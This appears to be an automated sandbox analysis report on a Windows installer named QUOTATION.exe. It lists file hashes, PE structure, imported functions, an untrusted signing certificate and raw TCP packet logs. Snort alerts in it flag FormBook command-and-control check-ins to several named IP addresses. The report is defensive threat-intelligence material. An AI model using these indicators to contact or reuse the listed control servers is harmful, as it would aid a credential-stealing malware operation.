MD5:	D331C900DDE8ACB523C51D9448205C0A
SHA1:	BDB3366F54876E78F76A6244EDA7A4C302FEB91D
SHA-256:	F199798DF1C37E3A8F6FFF1E208F083CF687F5C6A220DCAD42BB68F2120181CD
SHA-512:	415E4F4F26D4F861063676EA786C2941DB8DB7E248E32D84595BC7D531CE19669AFDCB447BC18B0B723839984CD15269FF6E89EBCD168D8EBD0EC7AF86CC92E7
Malicious:	false
Preview:	SQLite format 3......@ .......;...........O......................................................O}...........5........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsg9F21.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\QUOTATION.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.854901984552606
Encrypted:	false
SSDEEP:	192:qPtkiQJr7V9r3HcU17S8g1w5xzWxy6j2V7i77blbTc4U:F7VpNo8gmOyRsVc4
MD5:	0063D48AFE5A0CDC02833145667B6641
SHA1:	E7EB614805D183ECB1127C62DECB1A6BE1B4F7A8
SHA-256:	AC9DFE3B35EA4B8932536ED7406C29A432976B685CC5322F94EF93DF920FEDE7
SHA-512:	71CBBCAEB345E09306E368717EA0503FE8DF485BE2E95200FEBC61BCD8BA74FB4211CD263C232F148C0123F6C6F2E3FD4EA20BDECC4070F5208C35C6920240F0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ir.-.D.-.D.-.D...J..D.-.E.>.D......D.y0t.).D.N1n.,.D..3@.,.D.Rich-.D.........PE..L......]...........!..... ..........!).......0...............................`............@..........................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..c....0.......$..............@..@.data...h....@.......(..............@....reloc..\|....P.....................@..B................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.973819019229736
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	QUOTATION.exe
File size:	690832
MD5:	9f23ccacd955392c62b1b5d4be4ed690
SHA1:	d7c9c869add707b5b41a1f11f5c82bba94eabbd7
SHA256:	7b8d50ac67b2f0de5e35909025cc1a8d15f5edd18675878c7aaa31e3fe83a9fd
SHA512:	6ece2c0aa30e9967a673ccd1b0aa248f0fce1bb5745458e641107962552dffeb8ea0c87d89d6e5487559db76e1c76b8f98718125afd5f7a70fa91af8c3b59c1c
SSDEEP:	12288:2V5hWKql4jLy5cdg3ExKcZnY4UKwp7hVOZCbgjvwP:2V5hC4icdg1cUNEZCbgj8
TLSH:	A1E42317758392D6F67B45FB5E6EA72603B32F670862828FB3E937B18874910446630F
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(...F...F...F......F...G.w.F......F...v...F...@...F.Rich..F.........PE..L......].................`..........52.......p....@

File Icon


Icon Hash:	84c8c888cac88800

Static PE Info

General

Entrypoint:	0x403235
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5DF6D4E3 [Mon Dec 16 00:50:43 2019 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e9c0657252137ac61c1eeeba4c021000

Authenticode Signature

Signature Valid:	false
Signature Issuer:	E=Radiov@Charley.Po, OU="Polyparasitic semisagittate ", O=Syndoc, L=Fervaches, S=Normandie, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	22/04/2022 01:46:17 21/04/2025 01:46:17
Subject Chain	E=Radiov@Charley.Po, OU="Polyparasitic semisagittate ", O=Syndoc, L=Fervaches, S=Normandie, C=FR
Version:	3
Thumbprint MD5:	F54BEA37D1ADC4BAD2F60927632A2EC9
Thumbprint SHA-1:	BF5EB77E7A91F7976F23F102B3C078DB9DAAF954
Thumbprint SHA-256:	A4139CD92C018C5E22E64C59A153598DB90CDE89114105F7C95C552D2C985DB3
Serial:	122A79BA407440E874A3850AF2969681469C2B80

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A0h]
call dword ptr [0040709Ch]
and eax, BFFFFFFFh
cmp ax, 00000006h
mov dword ptr [0042370Ch], eax
je 00007F65ECBB9DA3h
push ebx
call 00007F65ECBBCE8Bh
cmp eax, ebx
je 00007F65ECBB9D99h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F65ECBBCE07h
push esi
call dword ptr [00407098h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F65ECBB9D7Dh
push 0000000Ah
call 00007F65ECBBCE5Fh
push 00000008h
call 00007F65ECBBCE58h
push 00000006h
mov dword ptr [00423704h], eax
call 00007F65ECBBCE4Ch
cmp eax, ebx
je 00007F65ECBB9DA1h
push 0000001Eh
call eax
test eax, eax
je 00007F65ECBB9D99h
or byte ptr [0042370Fh], 00000040h
push ebp
call dword ptr [00407040h]
push ebx
call dword ptr [00407284h]
mov dword ptr [004237D8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0041ECC8h
call dword ptr [00407178h]
push 00409188h

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7430	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x36000	0x4568	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xa68a8	0x21e8
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x294	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5f7d	0x6000	False	0.6680094401041666	data	6.466064816043304	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x123e	0x1400	False	0.4275390625	data	4.989734782278587	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x1a818	0x400	False	0.638671875	data	5.130817636118804	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x24000	0x12000	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x36000	0x4568	0x4600	False	0.42265625	data	5.512282206254712	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x36268	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States
RT_ICON	0x38810	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	English	United States
RT_ICON	0x398b8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	English	United States
RT_DIALOG	0x39d20	0x100	data	English	United States
RT_DIALOG	0x39e20	0x11c	data	English	United States
RT_DIALOG	0x39f40	0xc4	data	English	United States
RT_DIALOG	0x3a008	0x60	data	English	United States
RT_GROUP_ICON	0x3a068	0x30	data	English	United States
RT_VERSION	0x3a098	0x190	data	English	United States
RT_MANIFEST	0x3a228	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetTempPathA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, SetEnvironmentVariableA, Sleep, GetTickCount, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GetWindowsDirectoryA, SetFileAttributesA, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, GetExitCodeProcess, WaitForSingleObject, CompareFileTime, SetFileTime, GetFileAttributesA, SetCurrentDirectoryA, MoveFileA, GetFullPathNameA, GetShortPathNameA, SearchPathA, CloseHandle, lstrcmpiA, CreateThread, GlobalLock, lstrcmpA, DeleteFileA, FindFirstFileA, FindNextFileA, FindClose, SetFilePointer, GetPrivateProfileStringA, WritePrivateProfileStringA, MulDiv, MultiByteToWideChar, FreeLibrary, LoadLibraryExA, GetModuleHandleA, GlobalAlloc, GlobalFree, ExpandEnvironmentStringsA
USER32.dll	GetSystemMenu, SetClassLongA, EnableMenuItem, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, OpenClipboard, ScreenToClient, GetWindowRect, GetDlgItem, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, LoadImageA, CreateDialogParamA, SetTimer, SetWindowTextA, SetForegroundWindow, ShowWindow, SetWindowLongA, SendMessageTimeoutA, FindWindowExA, IsWindow, AppendMenuA, TrackPopupMenu, CreatePopupMenu, DrawTextA, EndPaint, DestroyWindow, wsprintfA, PostQuitMessage
GDI32.dll	SelectObject, SetTextColor, SetBkMode, CreateFontIndirectA, CreateBrushIndirect, DeleteObject, GetDeviceCaps, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, ShellExecuteExA, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA
ADVAPI32.dll	AdjustTokenPrivileges, RegCreateKeyExA, RegOpenKeyExA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, RegEnumValueA, RegDeleteKeyA, RegDeleteValueA, RegCloseKey, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
192.168.11.202.57.90.1649909802031412 03/20/23-15:24:14.014424	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49909	80	192.168.11.20	2.57.90.16
192.168.11.20199.192.26.3549877802031449 03/20/23-15:21:09.812328	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49877	80	192.168.11.20	199.192.26.35
192.168.11.2034.117.168.23349886802031453 03/20/23-15:21:43.461874	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49886	80	192.168.11.20	34.117.168.233
192.168.11.202.57.90.1649909802031453 03/20/23-15:24:14.014424	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49909	80	192.168.11.20	2.57.90.16
192.168.11.20199.192.26.3549877802031453 03/20/23-15:21:09.812328	TCP	2031453	ET TROJAN FormBook CnC Checkin (GET)	49877	80	192.168.11.20	199.192.26.35
192.168.11.2034.117.168.23349886802031449 03/20/23-15:21:43.461874	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49886	80	192.168.11.20	34.117.168.233
192.168.11.2034.117.168.23349886802031412 03/20/23-15:21:43.461874	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49886	80	192.168.11.20	34.117.168.233
192.168.11.202.57.90.1649909802031449 03/20/23-15:24:14.014424	TCP	2031449	ET TROJAN FormBook CnC Checkin (GET)	49909	80	192.168.11.20	2.57.90.16
192.168.11.20199.192.26.3549877802031412 03/20/23-15:21:09.812328	TCP	2031412	ET TROJAN FormBook CnC Checkin (GET)	49877	80	192.168.11.20	199.192.26.35

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 20, 2023 15:18:02.619071007 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:02.619246006 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:02.619487047 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:02.644450903 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:02.644521952 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.012032986 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.012262106 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.114784956 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.114860058 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.115901947 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.116045952 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.119679928 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.164378881 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.361583948 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.361723900 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.361802101 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.361859083 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.361955881 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.362015963 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.537919044 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.538078070 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.538149118 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.538151026 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.538167953 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.538327932 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.538464069 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.538511992 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.538661003 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.538733959 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.621128082 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.621366978 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.621366978 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.715486050 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.715626955 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.715744972 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.715804100 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.715821028 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.715982914 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.716125965 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.716435909 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.716470957 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.716485977 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.716739893 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.754585981 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.754810095 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.754853964 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.755006075 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.755224943 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.797921896 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.798078060 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.798114061 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.798192978 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.892709970 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.892877102 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.892955065 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.893901110 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.894165039 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.894208908 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.894731998 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.894886017 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.894886971 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.894933939 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.894983053 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.894984007 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.895522118 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.895776033 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.896245003 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.896431923 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.896565914 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.897144079 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.897361040 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.897403002 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.897850990 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.898030043 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.898159981 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.898531914 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.898714066 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.898714066 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.898761988 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.898807049 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.899235010 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.899415970 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.899415970 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.899465084 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.899466038 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.932423115 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.932583094 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.932583094 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.932627916 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.932694912 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.932982922 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.933172941 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933172941 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933223009 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933223009 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933623075 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.933774948 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933775902 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933830023 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933830023 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:18:03.933868885 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.933934927 CET	443	49835	162.240.73.101	192.168.11.20
Mar 20, 2023 15:18:03.934076071 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:19:12.196657896 CET	49835	443	192.168.11.20	162.240.73.101
Mar 20, 2023 15:19:18.712505102 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.763087988 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.763613939 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.763731956 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.813333988 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814379930 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814469099 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814534903 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814596891 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814657927 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814718962 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814785957 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814791918 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.814848900 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814913034 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.814965010 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.814975023 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.815135002 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.815301895 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.864437103 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.864527941 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.864595890 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.864660025 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.864726067 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.864789963 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.864845037 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.864854097 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865017891 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.865191936 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.865217924 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865303993 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865371943 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865436077 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865499020 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865562916 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865627050 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865695953 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.865695953 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.865757942 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865863085 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.865923882 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.865989923 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.866054058 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.866173029 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.866204977 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.866205931 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.866238117 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.866374016 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.866708994 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.914508104 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.914580107 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.914839029 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.914911032 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.914968967 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915025949 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915085077 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.915085077 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.915318966 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915390968 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915432930 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.915450096 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915595055 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915607929 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.915652037 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915707111 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915813923 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915872097 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.915936947 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.915936947 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.916091919 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.916153908 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.916209936 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.916274071 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.916438103 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.916460991 CET	49841	80	192.168.11.20	88.212.206.251
Mar 20, 2023 15:19:18.916495085 CET	80	49841	88.212.206.251	192.168.11.20
Mar 20, 2023 15:19:18.916613102 CET	49841	80	192.168.11.20	88.212.206.251
